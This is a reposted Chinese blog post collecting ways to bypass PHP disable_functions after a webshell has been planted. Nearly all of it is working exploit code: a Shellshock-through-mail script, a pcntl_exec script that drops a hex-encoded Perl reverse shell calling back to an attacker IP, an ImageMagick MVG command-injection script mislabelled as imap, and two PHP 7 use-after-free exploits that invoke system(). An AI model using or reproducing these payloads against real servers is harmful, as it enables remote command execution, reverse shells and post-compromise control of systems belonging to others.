ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

linux下php中的disable_function的几种绕过方式

2020-02-06 18:35:54  阅读:381  来源: 互联网

标签:function abc addr leak fake write disable base linux


php disabled_function

写入shell之后,经常会遇到disabled_function禁用了关键函数,想总结一下绕过方式(网安新手,不全或者错误之处希望大佬们多多指教)
有些时候可能不能用了,但是大部分情况下可以使用

常见危险函数如下,如果没有完全禁用可以尝试利用未被禁用的函数

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,其他函数

1.CVE-2014-6271 要求 PHP < 5.6.2

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none # Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283    
$tmp = tempnam(".","data");    
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");    
// In Safe Mode, the user may only alter environment variableswhose names   
// begin with the prefixes supplied by this directive.    
// By default, users will only be able to set environment variablesthat    
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,   
// PHP will let the user modify ANY environment variable!    mail("a@127.0.0.1","","","","-bv"); 
// -bv so we don't actuallysend any mail    
$output = @file_get_contents($tmp);   
@unlink($tmp);   
if($output != "") return $output;   
else return "No output, or not vuln."; 
}                   
echo shellshock($_REQUEST["cmd"]); 
?>

2.开启了 pcntl 扩展,就可以利用 pcntl_exec 函数来执行命令,要求 PHP 4 >= 4.2.0, PHP 5 on linux

<?php 
/*******************************
 *查看phpinfo编译参数--enable-pcntl
 *作者 Spider
 *nc -vvlp 443
********************************/
 
$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';
 
header("content-Type: text/html; charset=gb2312");
 
if(function_exists('pcntl_exec')) {
        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
        $fp = fopen($file,'w');
        $key = fputs($fp,$data);
        fclose($fp);
        if(!$key) exit('写入'.$file.'失败');
        chmod($file,0777);
        pcntl_exec($file);
        unlink($file);
} else {
        echo '不支持pcntl扩展';
}
?>

3. 如果网站安装了 imap 拓展,并启用,且 php.inienable_insecure_rsh 处于 On 状态(默认既是On 状态)时,可以通过如下代码写入 webshell

  <?php 
  echo "Disable Functions: " . ini_get('disable_functions') . "\n"; 
   
  $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; 
  if ($command == '') { 
      $command = 'id'; 
  } 
   
  $exploit = <<<EOF 
  push graphic-context 
  viewbox 0 0 640 480 
  fill 'url(https://example.com/image.jpg"|$command")' 
  pop graphic-context 
  EOF; 
   
  file_put_contents("KKKK.mvg", $exploit); 
  $thumb = new Imagick(); 
  $thumb->readImage('KKKK.mvg'); 
  $thumb->writeImage('KKKK.png'); 
  $thumb->clear(); 
  $thumb->destroy(); 
  unlink("KKKK.mvg"); 
  unlink("KKKK.png"); 
  ?>

4 PHP 7.1-7.3 disable_functions bypass

  <?php
  $cmd = "id";
  $n_alloc = 10; # increase this value if you get segfaults
  class MySplFixedArray extends SplFixedArray {
      public static $leak;
  }
  class Z implements JsonSerializable {
      public function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
          $str[$p + $i] = chr($v & 0xff);
          $v >>= 8;
        }
      }
      public function str2ptr(&$str, $p = 0, $s = 8) {
          $address = 0;
          for($j = $s-1; $j >= 0; $j--) {
              $address <<= 8;
              $address |= ord($str[$p+$j]);
          }
          return $address;
      }
      public function ptr2str($ptr, $m = 8) {
          $out = "";
          for ($i=0; $i < $m; $i++) {
              $out .= chr($ptr & 0xff);
              $ptr >>= 8;
          }
          return $out;
      }
      # unable to leak ro segments
      public function leak1($addr) {
          global $spl1;
          $this->write($this->abc, 8, $addr - 0x10);
          return strlen(get_class($spl1));
      }
      # the real deal
      public function leak2($addr, $p = 0, $s = 8) {
          global $spl1, $fake_tbl_off;
          # fake reference zval
          $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
          $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
          $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
          $leak = strlen($spl1::$leak);
          if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
          return $leak;
      }
      public function parse_elf($base) {
          $e_type = $this->leak2($base, 0x10, 2);
          $e_phoff = $this->leak2($base, 0x20);
          $e_phentsize = $this->leak2($base, 0x36, 2);
          $e_phnum = $this->leak2($base, 0x38, 2);
          for($i = 0; $i < $e_phnum; $i++) {
              $header = $base + $e_phoff + $i * $e_phentsize;
              $p_type  = $this->leak2($header, 0, 4);
              $p_flags = $this->leak2($header, 4, 4);
              $p_vaddr = $this->leak2($header, 0x10);
              $p_memsz = $this->leak2($header, 0x28);
              if($p_type == 0x6474e552) { # PT_GNU_RELRO
                  # handle pie
                  $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                  $data_size = $p_memsz;
              } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                  $text_size = $p_memsz;
              }
          }
          if(!$data_addr || !$text_size || !$data_size)
              return false;
          return [$data_addr, $text_size, $data_size];
      }
      public function get_basic_funcs($base, $elf) {
          list($data_addr, $text_size, $data_size) = $elf;
          for($i = 0; $i < $data_size / 8; $i++) {
              $leak = $this->leak2($data_addr, $i * 8);
              if($leak - $base > 0 && $leak - $base < $text_size) {
                  $deref = $this->leak2($leak);
                  # 'constant' constant check
                  if($deref != 0x746e6174736e6f63)
                      continue;
              } else continue;
              $leak = $this->leak2($data_addr, ($i + 4) * 8);
              if($leak - $base > 0 && $leak - $base < $text_size) {
                  $deref = $this->leak2($leak);
                  # 'bin2hex' constant check
                  if($deref != 0x786568326e6962)
                      continue;
              } else continue;
              return $data_addr + $i * 8;
          }
      }
      public function get_binary_base($binary_leak) {
          $base = 0;
          $start = $binary_leak & 0xfffffffffffff000;
          for($i = 0; $i < 0x1000; $i++) {
              $addr = $start - 0x1000 * $i;
              $leak = $this->leak2($addr, 0, 7);
              if($leak == 0x10102464c457f) { # ELF header
                  return $addr;
              }
          }
      }
      public function get_system($basic_funcs) {
          $addr = $basic_funcs;
          do {
              $f_entry = $this->leak2($addr);
              $f_name = $this->leak2($f_entry, 0, 6);
              if($f_name == 0x6d6574737973) { # system
                  return $this->leak2($addr + 8);
              }
              $addr += 0x20;
          } while($f_entry != 0);
          return false;
      }
      public function jsonSerialize() {
          global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
          $contiguous = [];
          for($i = 0; $i < $n_alloc; $i++)
              $contiguous[] = new DateInterval('PT1S');
          $room = [];
          for($i = 0; $i < $n_alloc; $i++)
              $room[] = new Z();
          $_protector = $this->ptr2str(0, 78);
          $this->abc = $this->ptr2str(0, 79);
          $p = new DateInterval('PT1S');
          unset($y[0]);
          unset($p);
          $protector = ".$_protector";
          $x = new DateInterval('PT1S');
          $x->d = 0x2000;
          $x->h = 0xdeadbeef;
          # $this->abc is now of size 0x2000
          if($this->str2ptr($this->abc) != 0xdeadbeef) {
              die('UAF failed.');
          }
          $spl1 = new MySplFixedArray();
          $spl2 = new MySplFixedArray();
          # some leaks
          $class_entry = $this->str2ptr($this->abc, 0x120);
          $handlers = $this->str2ptr($this->abc, 0x128);
          $php_heap = $this->str2ptr($this->abc, 0x1a8);
          $abc_addr = $php_heap - 0x218;
          # create a fake class_entry
          $fake_obj = $abc_addr;
          $this->write($this->abc, 0, 2); # type
          $this->write($this->abc, 0x120, $abc_addr); # fake class_entry
          # copy some of class_entry definition
          for($i = 0; $i < 16; $i++) {
              $this->write($this->abc, 0x10 + $i * 8, 
                  $this->leak1($class_entry + 0x10 + $i * 8));
          }
          # fake static members table
          $fake_tbl_off = 0x70 * 4 - 16;
          $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
          $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
          # fake zval_reference
          $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
          $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
          # look for binary base
          $binary_leak = $this->leak2($handlers + 0x10);
          if(!($base = $this->get_binary_base($binary_leak))) {
              die("Couldn't determine binary base address");
          }
          # parse elf header
          if(!($elf = $this->parse_elf($base))) {
              die("Couldn't parse ELF");
          }
          # get basic_functions address
          if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
              die("Couldn't get basic_functions address");
          }
          # find system entry
          if(!($zif_system = $this->get_system($basic_funcs))) {
              die("Couldn't get zif_system address");
          }
          
          # copy hashtable offsetGet bucket
          $fake_bkt_off = 0x70 * 5 - 16;
          $function_data = $this->str2ptr($this->abc, 0x50);
          for($i = 0; $i < 4; $i++) {
              $this->write($this->abc, $fake_bkt_off + $i * 8, 
                  $this->leak2($function_data + 0x40 * 4, $i * 8));
          }
          # create a fake bucket
          $fake_bkt_addr = $abc_addr + $fake_bkt_off;
          $this->write($this->abc, 0x50, $fake_bkt_addr);
          for($i = 0; $i < 3; $i++) {
              $this->write($this->abc, 0x58 + $i * 4, 1, 4);
          }
          # copy bucket zval
          $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
          for($i = 0; $i < 12; $i++) {
              $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                  $this->leak2($function_zval, $i * 8));
          }
          # pwn
          $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
          $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
          $spl1->offsetGet($cmd);
          exit();
      }
  }
  $y = [new Z()];
  json_encode([&$y]);

5.支持版本
7.0 ,7.1,7.2,7.3 - all versions to date

<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
pwn("ls");
function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    class ryat {
        var $ryat;
        var $chtg;
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if you get segfaults
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}
流水~天涯 发布了1 篇原创文章 · 获赞 0 · 访问量 18 私信 关注

标签:function,abc,addr,leak,fake,write,disable,base,linux
来源: https://blog.csdn.net/jia3643/article/details/104200164

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有